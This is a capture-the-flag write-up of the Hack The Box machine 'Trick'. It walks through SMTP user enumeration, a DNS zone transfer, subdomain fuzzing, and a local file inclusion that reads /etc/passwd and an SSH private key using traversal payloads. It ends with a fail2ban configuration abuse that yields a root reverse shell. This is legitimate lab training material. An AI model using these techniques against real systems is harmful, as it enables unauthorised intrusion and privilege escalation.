Trick Writeup

Introduction

This box taught me a lot. It provided many opportunities to learn how to enumerate services, even if nothing ultimately was gleaned from it. It also taught me that sometimes getting fresh air and resetting is the best thing to do. Sometimes you need to try harder, but that is not always the case. And finally, do not get stuck on using the same tools or wordlists for a specific job. Different tools can give different results, so expand your arsenal. Sometimes you might not get results because of the tool, not because of something you are inherently doing wrong (but honestly, it is mostly because I did something wrong).

Overall, it was a great box. Life has been hectic (in a good way) so that is why this writeup is so delayed in publication from when the box was initially retired.

Initial Recon

Started off with the standard nmap scan.

┌──(crimson㉿crimson)-[~/HTB/Machines/Trick]
└─$ sudo nmap -sC -sV -oA nmap/initial $tgt
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-22 20:51 CDT
Nmap scan report for 10.129.91.50
Host is up (0.058s latency).
Not shown: 996 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 61:ff:29:3b:36:bd:9d:ac:fb:de:1f:56:88:4c:ae:2d (RSA)
|   256 9e:cd:f2:40:61:96:ea:21:a6:ce:26:02:af:75:9a:78 (ECDSA)
|_  256 72:93:f9:11:58:de:34:ad:12:b5:4b:4a:73:64:b9:70 (ED25519)
25/tcp open  smtp?
|_smtp-commands: Couldn't establish connection on port 25
53/tcp open  domain  ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)
| dns-nsid: 
|_  bind.version: 9.11.5-P4-5.1+deb10u7-Debian
80/tcp open  http    nginx 1.14.2
|_http-title: Coming Soon - Start Bootstrap Theme
|_http-server-header: nginx/1.14.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 244.64 seconds

There are quite a few ports open – SSH on 22, SMTP on 25, DNS on 53, and HTTP on 80.

Initial Access

SMTP

What is Simple Mail Transfer Protocol (SMTP)? It is a communication protocol for the transmission of email. Basically a user sends an email to a SMTP server. That email is then forwarded to a POP/IMAP server where the recipient can retrieve the email.

Up until this point I have not had much experience enumerating SMTP. So I took this as an opportunity to learn.

So what can be gleaned from SMTP? After doing research it seems possible to get internal domain names and possibly usernames. Both of which can be useful.

To leak internal domain names I must first connect to the SMTP server with telnet and specifying port 25. Then draft an email with a sender’s address with MAIL FROM: [sender]. Some SMTP servers will auto-complete the sender’s address, ultimately leaking the internal name. Unfortunately, this server does not seem to auto-complete.

┌──(crimson㉿crimson)-[~/HTB/Machines/Trick]
└─$ telnet $tgt 25  
Trying 10.129.91.50...
Connected to 10.129.91.50.
Escape character is '^]'.
EHLO all
220 debian.localdomain ESMTP Postfix (Debian/GNU)
250-debian.localdomain
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-STARTTLS
250-ENHANCEDSTATUSCODES
250-8BITMIME
250-DSN
250-SMTPUTF8
250 CHUNKING
MAIL FROM: me
250 2.1.0 Ok

What about users? This can be accomplished by asking the SMTP server if a given user exists via RCPT TO:, VRFY, or EXPN. Below you can see I tried to verify the following users. If a user does not exists it tells me. Now I could hand jam usernames or I can let a machine do it.

RCPT TO: me
550 5.1.1 <me>: Recipient address rejected: User unknown in local recipient table
RCPT TO: root
250 2.1.5 Ok
VRFY sshd
252 2.0.0 sshd
VRFY skdjfalskjdf
550 5.1.1 <skdjfalskjdf>: Recipient address rejected: User unknown in local recipient table

Metasploit has a useful scanner to do just that. Provide the host, username file, and wait a bit for the results.

msf6 auxiliary(scanner/smtp/smtp_enum) > options

Module options (auxiliary/scanner/smtp/smtp_enum):

   Name       Current Setting                   Required  Description
   ----       ---------------                   --------  -----------
   RHOSTS     10.129.91.50                      yes       The target host(s), see https://github.com/rapid7/metasp
                                                          loit-framework/wiki/Using-Metasploit
   RPORT      25                                yes       The target port (TCP)
   THREADS    1                                 yes       The number of concurrent threads (max one per host)
   UNIXONLY   true                              yes       Skip Microsoft bannered servers when testing unix users
   USER_FILE  /usr/share/metasploit-framework/  yes       The file that contains a list of probable users accounts
              data/wordlists/unix_users.txt               .

msf6 auxiliary(scanner/smtp/smtp_enum) > exploit

[*] 10.129.91.50:25       - 10.129.91.50:25 Banner: 220 debian.localdomain ESMTP Postfix (Debian/GNU)
[+] 10.129.91.50:25       - 10.129.91.50:25 Users found: , _apt, avahi, backup, bin, colord, daemon, dnsmasq, games, geoclue, gnats, hplip, irc, list, lp, mail, man, messagebus, mysql, news, nobody, postfix, postmaster, proxy, pulse, rtkit, saned, speech-dispatcher, sshd, sync, sys, systemd-coredump, systemd-network, systemd-resolve, systemd-timesync, tss, usbmux, uucp, www-data
[*] 10.129.91.50:25       - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Unfortunately, that is all the information I was able to get via SMTP – usernames. Hopefully the HTTP application will prove to be more useful.

HTTP & DNS

Before navigating to the HTTP application I like to start Burp Suite in the background. After doing that I navigated to the remote IP. The landing page was simple enough. A text box where a user could input an email to be notified when the website is up and running.

Inputting an email address does not seem to do anything. Reviewing the source code did not reveal anything either. Running gobuster did not reveal anything. Well, how about DNS?

Since the remote server is running DNS, I decided to use nslookup to query the remote server’s DNS records. And sure enough trick.htb is in its records.

┌──(crimson㉿crimson)-[~/HTB/Machines/Trick]
└─$ nslookup
> SERVER 10.129.92.149
Default server: 10.129.92.149
Address: 10.129.92.149#53
> 127.0.0.1
1.0.0.127.in-addr.arpa  name = localhost.
> 10.129.92.149
149.92.129.10.in-addr.arpa      name = trick.htb.
> exit

Now that I have a domain, I tried to complete a zone transfer to gather any subdomain information. And sure enough there is. After discovering these domains I added them to /etc/hosts.

┌──(crimson㉿crimson)-[~/HTB/Machines/Trick]
└─$ dig axfr @$tgt trick.htb

; <<>> DiG 9.17.19-3-Debian <<>> axfr @10.129.92.149 trick.htb
; (1 server found)
;; global options: +cmd
trick.htb.              604800  IN      SOA     trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
trick.htb.              604800  IN      NS      trick.htb.
trick.htb.              604800  IN      A       127.0.0.1
trick.htb.              604800  IN      AAAA    ::1
preprod-payroll.trick.htb. 604800 IN    CNAME   trick.htb.
trick.htb.              604800  IN      SOA     trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
;; Query time: 60 msec
;; SERVER: 10.129.92.149#53(10.129.92.149) (TCP)
;; WHEN: Sun Jun 26 00:15:41 CDT 2022
;; XFR size: 6 records (messages 1, bytes 231)

Navigating to trick.htb seem to be the same thing I saw when navigating to the IP address. But navigating to preprod-payroll.trick.htb revealed a login page. Trying common usernames and passwords did not work.

Running a gobuster scan revealed quite a few pages to view. The first page that caught my eye was users.php.

┌──(crimson㉿crimson)-[~/HTB/Machines/Trick]
└─$ gobuster dir -u http://preprod-payroll.trick.htb/ -w /opt/SecLists/Discovery/Web-Content/raft-small-words.txt -x php
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://preprod-payroll.trick.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /opt/SecLists/Discovery/Web-Content/raft-small-words.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
2022/06/26 00:28:45 Starting gobuster in directory enumeration mode
===============================================================
/login.php            (Status: 200) [Size: 5571]
/index.php            (Status: 302) [Size: 9546] [--> login.php]
/ajax.php             (Status: 200) [Size: 0]                   
/home.php             (Status: 200) [Size: 486]                 
/assets               (Status: 301) [Size: 185] [--> http://preprod-payroll.trick.htb/assets/]
/database             (Status: 301) [Size: 185] [--> http://preprod-payroll.trick.htb/database/]
/users.php            (Status: 200) [Size: 2197]                                                
/header.php           (Status: 200) [Size: 2548]                                                
/.                    (Status: 301) [Size: 185] [--> http://preprod-payroll.trick.htb/./]       
/employee.php         (Status: 200) [Size: 2717]                                                
/navbar.php           (Status: 200) [Size: 1382]                                                
/department.php       (Status: 200) [Size: 4844]                                                
/db_connect.php       (Status: 200) [Size: 0]                                                   
/payroll.php          (Status: 200) [Size: 3142]                                                
/position.php         (Status: 200) [Size: 5549]                                                
/topbar.php           (Status: 200) [Size: 585]                                                 
/attendance.php       (Status: 200) [Size: 4688]                                                
/site_settings.php    (Status: 200) [Size: 2273]                                                

===============================================================
2022/06/26 00:36:43 Finished
===============================================================

Navigating to the page reveals an administrator by the name of Enemigosss. Clicking the text boxes did not produce any sort of action unfortunately.

Viewing the page source revealed another page of interest that gobuster did not find. It seems as though the page has a id= parameter.

Given what is contained in user.php I viewed manage_user.php and specified id=1. And sure enough it pulls the information for Enemigosss, but the password is masked, or is it?

Viewing the page source shows the password in plain text!

With a username and password I logged in. Clicking around the application did not reveal anything to helpful.

Viewing the page source revealed how the tabs on the left are mapped to different pages I saw in the gobuster scan. It seems as though the page= parameter in the URL points to a specific PHP file on the webserver without the actual extension. For example, http://preprod-payroll.trick.htb/index.php?page=home the page parameter points to home.php.

Now in the gobuster scan there was site_settings.php. Given the URL pattern I checked it out by navigating to http://preprod-payroll.trick.htb/index.php?page=site_settings. And it seems like a way to upload a file. However, after trying for a couple hours I was not able to upload and access a web shell. I just got a spinning circle.

If the page= parameter can be used to specify a PHP file on the web server to view, can it be used to read any other file on the system? After tinkering around it seems as though it is not vulnerable to a Local File Inclusion (LFI).

With all options exhausted at this point I decided to enumerate for other subdomains. If there is preprod-payroll.trick. then why not preprod-hr.trick or preprod-website.trick.htb?

For this wfuzz was used to enumerate subdomains. -c displays the results in color. -w specifies the wordlist to use for fuzzing. -u specifies the domain. -H specifies the subdomain to fuzz. Basically, the words in the word list will be substituted where FUZZ is placed. --hw 475 hides responses that contain 475 words. Running it without --hw returned a lot of results. The results that contained 475 words were associated with subdomains that did not exist so I excluded those.

┌──(crimson㉿crimson)-[~/HTB/Machines/Trick]
└─$ wfuzz -c -w /opt/SecLists/Discovery/DNS/deepmagic.com-prefixes-top50000.txt -u 'http://trick.htb' -H 'Host:preprod-FUZZ.trick.htb' --hw 475
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://trick.htb/
Total requests: 49928

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                            
=====================================================================

000004687:   200        178 L    631 W      9660 Ch     "marketing"                                        
000030711:   302        266 L    527 W      9546 Ch     "payroll"                                          

Total time: 0
Processed Requests: 49928
Filtered Requests: 49926
Requests/sec.: 0

And sure enough there seems to be another subdomain, preprod-marketing.trick.htb, so I added it to /etc/hosts. Navigating around the website revealed the same behavior seen at preprod-payroll.trick.htb with the page= parameter in the URL pointing to a specific file on the web server. In this case, page= is pointing to services.html.

I utilized wfuzz to fuzz for a potential LFI. In this case, service.html was replaced in the URL with FUZZ. Then I used a wordlist filled with various of LFIs and success!

┌──(crimson㉿crimson)-[~/HTB/Machines/Trick]
└─$ wfuzz -c -w /opt/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt -u "http://preprod-marketing.trick.htb/index.php?page=FUZZ" --hw 0
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://preprod-marketing.trick.htb/index.php?page=FUZZ
Total requests: 920

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                            
=====================================================================

000000329:   200        41 L     68 W       2351 Ch     "....//....//....//....//....//....//....//....//..
                                                        ..//....//....//....//....//....//....//....//..../
                                                        /....//....//....//etc/passwd"                     
000000345:   200        41 L     68 W       2351 Ch     "....//....//....//....//etc/passwd"               
000000344:   200        41 L     68 W       2351 Ch     "....//....//....//....//....//etc/passwd"         
000000346:   200        41 L     68 W       2351 Ch     "....//....//....//etc/passwd"                     
000000343:   200        41 L     68 W       2351 Ch     "....//....//....//....//....//....//etc/passwd"   

Using Burp I was able to view the contents of /etc/passwd. Looking at the file reveals the user, michael.

Remembering that port 22 is open I attempted to view michael‘s private SSH key. So I use the LFI to view /home/michael/.ssh/id_rsa, copy the private key to my attacking box, change the permissions to 600 with chmod, and then connect via SSH specifying michael‘s private key with -i.

Priv Esc

A good check I like to do before running linPEAS is simply running sudo -l and id. This will list commands that can be ran with root privileges without actually being root and lists group membership. As michael I can run /etc/init.d/fail2ban restart with root privileges. And michael is part of the security group.

A little bit of research shows that it is possible to priv esc with fail2ban. The particular article I used as guidance can be found here – https://youssef-ichioui.medium.com/abusing-fail2ban-misconfiguration-to-escalate-privileges-on-linux-826ad0cdafb7.

The idea behind the priv esc is to manipulate configurations so that when fail2ban is triggered it executes a reverse shell instead of blocking the offending IP.

The configuration file that needs to be modified is found in /etc/fail2ban/action.d. Luckily members of the security group have ownership over that directory. But only root has ownership over the specific config file that must be altered. So I can’t simply delete or alter the config file as it stands.

This presents a little hurdle, but it is still possible to get priv esc with fail2ban. First I must copy the config file so that I can edit it as michael. Then I add the reverse shell to the config file. Since michael is part of the security group I can move my modified config file to /etc/fail2ban/action.d and overwrite the current config file.

michael@trick:~$ ls -la /etc/fail2ban/action.d/iptables-multiport.conf 
-rw-r--r-- 1 root root 1420 Jun 26 08:54 /etc/fail2ban/action.d/iptables-multiport.conf
michael@trick:~$ cp /etc/fail2ban/action.d/iptables-multiport.conf /tmp
michael@trick:~$ ls -la /tmp/iptables-multiport.conf 
-rw-r--r-- 1 michael michael 1420 Jun 26 09:04 /tmp/iptables-multiport.conf
michael@trick:~$ vi /tmp/iptables-multiport.conf 
michael@trick:~$ mv /tmp/iptables-multiport.conf /etc/fail2ban/action.d/
mv: replace '/etc/fail2ban/action.d/iptables-multiport.conf', overriding mode 0644 (rw-r--r--)? y
michael@trick:~$ sudo /etc/init.d/fail2ban restart
[ ok ] Restarting fail2ban (via systemctl): fail2ban.service.

After that I can restart the service, setup a listener on my attacking box, purposefully trigger fail2ban by brute forcing SSH with incorrect passwords via hydra, and get a shell as root!